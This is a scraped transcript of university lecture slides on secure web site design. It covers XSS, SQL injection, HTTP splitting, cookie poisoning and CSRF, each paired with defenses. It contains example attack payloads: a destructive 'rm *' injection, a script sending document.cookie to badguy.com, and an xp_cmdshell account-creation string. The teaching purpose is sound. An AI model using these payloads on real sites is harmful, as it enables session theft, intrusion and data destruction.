Computer security cs 426 lecture 26
Download
1 / 41

Computer Security - PowerPoint PPT Presentation


  • 439 Views
  • Uploaded on

Computer Security CS 426 Lecture 26 Secure Web Site Design (Most Slides taken from Prof. Dan Boneh CS 155 Slides at Stanford) Schematic web site architecture Authorization Netegrity (CA) Oblix (Oracle) WS 1 Firewall Firewall Application Firewall (WAF) Load Balancer DB App Servers

loader
I am the owner, or an agent authorized to act on behalf of the owner, of the copyrighted work described.
capcha
Download Presentation

PowerPoint Slideshow about 'Computer Security ' - Gabriel


An Image/Link below is provided (as is) to download presentation

Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author.While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server.


- - - - - - - - - - - - - - - - - - - - - - - - - - E N D - - - - - - - - - - - - - - - - - - - - - - - - - -
Presentation Transcript
Computer security cs 426 lecture 26 l.jpg

Computer Security CS 426Lecture 26

Secure Web Site Design

(Most Slides taken from Prof. Dan Boneh CS 155 Slides at Stanford)


Schematic web site architecture l.jpg
Schematic web site architecture

Authorization

Netegrity (CA)

Oblix (Oracle)

WS1

Firewall

Firewall

ApplicationFirewall

(WAF)

LoadBalancer

DB

AppServers

WS2

WS3

IDS


Web application firewalls l.jpg
Web Application Firewalls

  • Prevent some attacks we discuss today:

    • SQL Injection

    • Form field tampering

    • Cookie poisoning

  • Some examples:

    • Imperva

    • Kavado Interdo

    • F5 TrafficShield

    • Citrix NetScaler

    • CheckPoint Web Intelligence


Our focus web app code l.jpg
Our focus: web app code

  • Common web-site attacks:

    • Denial of Service:

    • Attack the web server (IIS, Apache) :

      • e.g. control hijacking: CodeRed, Nimda, …

      • Solutions:

        • Harden web server: stackguard, libsafe, …

        • Worm defense:

          • Host based intrusion detection,

          • Worm signatures generation, shields.

  • Today:

    • Common vulnerabilities in web application code


Web app code l.jpg
Web app code

  • Runs on web server or app server.

    • Takes input from web users (via web server)

    • Interacts with the database and 3rd parties.

    • Prepares results for users (via web server)

  • Examples:

    • Shopping carts, home banking, bill pay, tax prep, …

    • New code written for every web site.

  • Written in:

    • C, PHP, Perl, Python, JSP, ASP, …

    • Often written with little consideration for security.


Common vulnerabilities l.jpg
Common vulnerabilities

  • Inadequate validation of user input

    • Cross site scripting

    • SQL Injection

    • HTTP Splitting

  • Broken session management

    • Can lead to session hijacking and data theft

  • Insecure storage

    • Sensitive data stored in the clear.

    • Prime target for theft – e.g. egghead, Verizon.

    • Note: PCI Data Security Standard (Visa, Mastercard)


Warm up a simple example l.jpg
Warm up: a simple example

script name

script input

system(“cp temp.dat $name.dat”)

  • Direct use of user input:

    • http://victim.com/ copy.php ? name=username

    • copy.php:

    • Problem:

      • http://victim.com/ copy.php ? name=“a ; rm *”

        (should be: name=a%20;%20rm%20* )


Redirects l.jpg
Redirects

  • EZShopper.com shopping cart (10/2004):

    http://…/cgi-bin/ loadpage.cgi ? page=url

    • Redirects browser to url

  • Redirects are common on many sites

    • Used to track when user clicks on external link

    • EZShopper uses redirect to add HTTP headers

  • Problem: phishing

    http://victim.com/cgi-bin/loadpage ? page=phisher.com

    • Link to victim.com puts user at phisher.com

       Local redirects should ensure target URL is local



The setup l.jpg
The setup

  • User input is echoed into HTML response.

  • Example: search field

    • http://victim.com/search.php ? term = apple

    • search.php responds with:

      <HTML> <TITLE> Search Results </TITLE>

      <BODY>

      Results for <?php echo $_GET[term] ?> :

      . . .

      </BODY> </HTML>

  • Is this exploitable?


Bad input l.jpg
Bad input

  • Problem: no validation of input term

  • Consider link: (properly URL encoded)

    http://victim.com/search.php ? term =

    <script> window.open(

    “http://badguy.com?cookie = ” +

    document.cookie ) </script>

  • What if user clicks on this link?

    • Browser goes to victim.com/search.php

    • Victim.com returns

      <HTML> Results for <script> … </script>

    • Browser executes script:

      • Sends badguy.com cookie for victim.com


So what l.jpg
So what?

  • Why would user click on such a link?

    • Phishing email in webmail client (e.g. gmail).

    • Link in doubleclick banner ad

    • … many many ways to fool user into clicking

  • What if badguy.com gets cookie for victim.com ?

    • Cookie can include session auth for victim.com

      • Or other data intended only for victim.com

    • Violates same origin policy


Even worse l.jpg
Even worse

  • Attacker can execute arbitrary scripts in browser

  • Can manipulate any DOM component on victim.com

    • Control links on page

    • Control form fields (e.g. password field) on this page and linked pages.

  • Can infect other users: MySpace.com worm.


Myspace com samy worm l.jpg
MySpace.com (Samy worm)

  • Users can post HTML on their pages

    • MySpace.com ensures HTML contains no

      <script>, <body>, onclick, <a href=javascript://>

    • … but can do Javascript within CSS tags:

      <div style=“background:url(‘javascript:alert(1)’)”>

      And can hide “javascript” as “java\nscript”

  • With careful javascript hacking:

    • Samy’s worm: infects anyone who visits an infected MySpace page … and adds Samy as a friend.

    • Samy had millions of friends within 24 hours.

  • More info: http://namb.la/popular/tech.html


Avoiding xss bugs php l.jpg
Avoiding XSS bugs (PHP)

  • Main problem:

    • Input checking is difficult --- many ways to inject scripts into HTML.

  • Preprocess input from user before echoing it

  • PHP: htmlspecialchars(string)

    &  &amp; "  &quot; '  &#039; <  &lt; >  &gt;

    • htmlspecialchars( "<a href='test'>Test</a>", ENT_QUOTES);

      Outputs: &lt;a href=&#039;test&#039;&gt;Test&lt;/a&gt;


Avoiding xss bugs asp net l.jpg
Avoiding XSS bugs (ASP.NET)

  • ASP.NET 1.1:

    • Server.HtmlEncode(string)

      • Similar to PHP htmlspecialchars

    • validateRequest: (on by default)

      • Crashes page if finds <script> in POST data.

      • Looks for hardcoded list of patterns.

      • Can be disabled:

        <%@ Page validateRequest=“false"  %>



The setup19 l.jpg
The setup

  • User input is used in SQL query

  • Example: login page (ASP)

    set ok = execute(“SELECT * FROM UserTable

    WHERE username=′ ” & form(“user”) &

    “ ′ AND password=′ ” & form(“pwd”) & “ ′ ” );

    If not ok.EOF

    login success

    else fail;

  • Is this exploitable?


Bad input20 l.jpg
Bad input

  • Suppose user = “ ′or 1 = 1 --” (URL encoded)

  • Then scripts does:

    ok = execute( SELECT …

    WHERE username= ′ ′ or 1=1 -- … )

    • The ‘- -’ causes rest of line to be ignored.

    • Now ok.EOF is always false.

  • The bad news: easy login to many sites this way.


Even worse21 l.jpg
Even worse

  • Suppose user =

    ′exec cmdshell

    ′net user badguy badpwd′ / ADD --

  • Then script does:

    ok = execute( SELECT …

    WHERE username= ′ ′ exec … )

    If SQL server contextruns as “sa”, attacker gets account on DB server.


Avoiding sql injection l.jpg
Avoiding SQL injection

  • Build SQL queries by properly escaping args: ′  \′

  • Example: Parameterized SQL: (ASP.NET 1.1)

    • Ensures SQL arguments are properly escaped.

      SqlCommand cmd = new SqlCommand( "SELECT * FROM UserTable WHERE username = @User AND password = @Pwd", dbConnection);

      cmd.Parameters.Add("@User", Request[“user”] );

      cmd.Parameters.Add("@Pwd", Request[“pwd”] );

      cmd.ExecuteReader();



The setup24 l.jpg
The setup

  • User input echoed in HTTP header.

  • Example: Language redirect page (JSP)

    <% response.redirect(“/by_lang.jsp?lang=” + request.getParameter(“lang”) ) %>

  • Browser sends http://.../by_lang.jsp ? lang=french

    Server HTTP Response:

    HTTP/1.1 302 (redirect)

    Date: …

    Location: /by_lang.jsp ? lang=french

  • Is this exploitable?


Bad input25 l.jpg
Bad input

  • Suppose browser sends:

    http://.../by_lang.jsp ? lang=

    “ french \n

    Content-length: 0 \r\n\r\n

    HTTP/1.1 200 OK

    Spoofed page” (URL encoded)


Bad input26 l.jpg
Bad input

  • HTTP response from server looks like:

    HTTP/1.1 302 (redirect)

    Date: …

    Location: /by_lang.jsp ? lang= french

    Content-length: 0

    HTTP/1.1 200 OK

    Content-length: 217

    Spoofed page

lang


So what27 l.jpg
So what?

  • What just happened:

    • Attacker submitted bad URL to victim.com

      • URL contained spoofed page in it

    • Got back spoofed page

  • So what?

    • Cache servers along path now store spoof of victim.com

    • Will fool any user using same cache server

  • Defense: don’t do that.



App code l.jpg
App code

  • Little programming knowledge can be dangerous:

    • Cross site scripting

    • SQL Injection

    • HTTP Splitting

  • What to do?

    • Band-aid: Web App Firewall (WAF)

      • Looks for attack patterns and blocks requests

      • False positive / false negatives

    • Code checking


Code checking l.jpg
Code checking

  • Blackbox security testing services:

    • Whitehatsec.com

  • Automated blackbox testing tools:

    • Cenzic, Hailstorm

    • Spidynamic, WebInspect

    • eEye, Retina

  • Web application hardening tools:

    • WebSSARI [WWW’04] : based on information flow

    • Nguyen-Tuong [IFIP’05] : based on tainting


Session management l.jpg

Session Management

Cookies, hidden fields, and user authentication


Cookies l.jpg
Cookies

If expires=NULL:

this session only

  • Used to store state on user’s machine

GET …

Server

Browser

HTTP Header:

Set-cookie: NAME=VALUE ;

domain = (who can read) ;

expires = (when expires) ;

secure = (only over SSL)

Server

Browser

GET …

Cookie: NAME = VALUE

Http is stateless protocol; cookies add state


Cookies33 l.jpg
Cookies

  • Brower will store:

    • At most 20 cookies/site, 3 KB / cookie

  • Uses:

    • User authentication

    • Personalization

    • User tracking: e.g. Doubleclick (3rd party cookies)


Cookie risks l.jpg
Cookie risks

  • Danger of storing data on browser:

    • User can change values

  • Silly example: Shopping cart software.

    Set-cookie: shopping-cart-total = 150 ($)

    • User edits cookie file (cookie poisoning):

      Cookie: shopping-cart-total = 15 ($)

    • … bargain shopping.

  • Similar behavior with hidden fields:

    <INPUT TYPE=“hidden” NAME=price VALUE=“150”>


Not so silly as of 2 2000 l.jpg
Not so silly … (as of 2/2000)

  • D3.COM Pty Ltd: ShopFactory 5.8

  • @Retail Corporation: @Retail

  • Adgrafix: Check It Out

  • Baron Consulting Group: WebSite Tool

  • ComCity Corporation: SalesCart

  • Crested Butte Software: EasyCart

  • Dansie.net: Dansie Shopping Cart

  • Intelligent Vending Systems: Intellivend

  • Make-a-Store: Make-a-Store OrderPage

  • McMurtrey/Whitaker & Associates: Cart32 3.0

  • [email protected]: CartMan 1.04

  • Rich Media Technologies: JustAddCommerce 5.0

  • SmartCart: SmartCart

  • Web Express: Shoptron 1.2

  • Source: http://xforce.iss.net/xforce/xfdb/4621


Example dansie net shopping cart l.jpg
Example: dansie.net shopping cart

<FORM METHOD=POST

ACTION="http://www.dansie.net/cgi-bin/scripts/cart.pl">

Black Leather purse with leather straps<BR>Price: $20.00<BR>

<INPUT TYPE=HIDDEN NAME=name VALUE="Black leather purse"><INPUT TYPE=HIDDEN NAME=price VALUE="20.00"> <INPUT TYPE=HIDDEN NAME=sh VALUE="1"> <INPUT TYPE=HIDDEN NAME=img VALUE="purse.jpg"> <INPUT TYPE=HIDDEN NAME=return VALUE="http://www.dansie.net/demo.html"> <INPUT TYPE=HIDDEN NAME=custom1 VALUE="Black leather purse with leather straps">

<INPUT TYPE=SUBMIT NAME="add" VALUE="Put in Shopping Cart">

</FORM>

  • CVE-2000-0253 (Jan. 2001), BugTraq ID: 1115

  • http://www.dansie.net/demo.html (May, 2006)


Solution l.jpg
Solution

  • When storing state on browser MAC data using server secret key.

  • .NET 2.0:

    • System.Web.Configuration.MachineKey

      • Secret web server key intended for cookie protection

    • HttpCookie cookie = new HttpCookie(name, val); HttpCookie encodedCookie =HttpSecureCookie.Encode(cookie);

    • HttpSecureCookie.Decode(cookie);


Cookie authentication l.jpg
Cookie authentication

POST login.cgi

Username & pwd

Validate user

auth=val

Set-cookie: auth=val

Store val

GET restricted.html

Cookie: auth=val

restricted.html

auth=val

If YES, restricted.html

YES/NO

Browser

Web Server

Auth server

Check val


Weak authenticators s ecurity risk l.jpg
Weak authenticators: security risk

  • Predictable cookie authenticator

    • Verizon Wireless - counter

    • Valid user logs in, gets counter, can view sessions of other users.

  • Weak authenticator generation: [Fu et al. ’01]

    • WSJ.com: cookie = {user, MACk(user) }

    • Weak MAC exposes K from few cookies.

  • Apache Tomcat: generateSessionID()

    • MD5(PRNG) … but weak PRNG [GM’05].

    • Predictable SessionID’s


Cookie auth is insufficient l.jpg
Cookie auth is insufficient

  • Example:

    • User logs in to bank.com. Forgets to sign off.

    • Session cookie remains in browser state

    • Then user visits another site containing:

      <form name=F action=http://bank.com/BillPay.php>

      <input name=recipient value=badguy> …

      <script> document.F.submit(); </script>

    • Browser sends user auth cookie with request

      • Transaction will be fulfilled

  • Problem:

    • cookie auth is insufficient when side effects can happen

    • Correct use: use cookies + hidden fields


Coming attractions l.jpg
Coming Attractions …

  • November 28:

    • Web Application Security


ad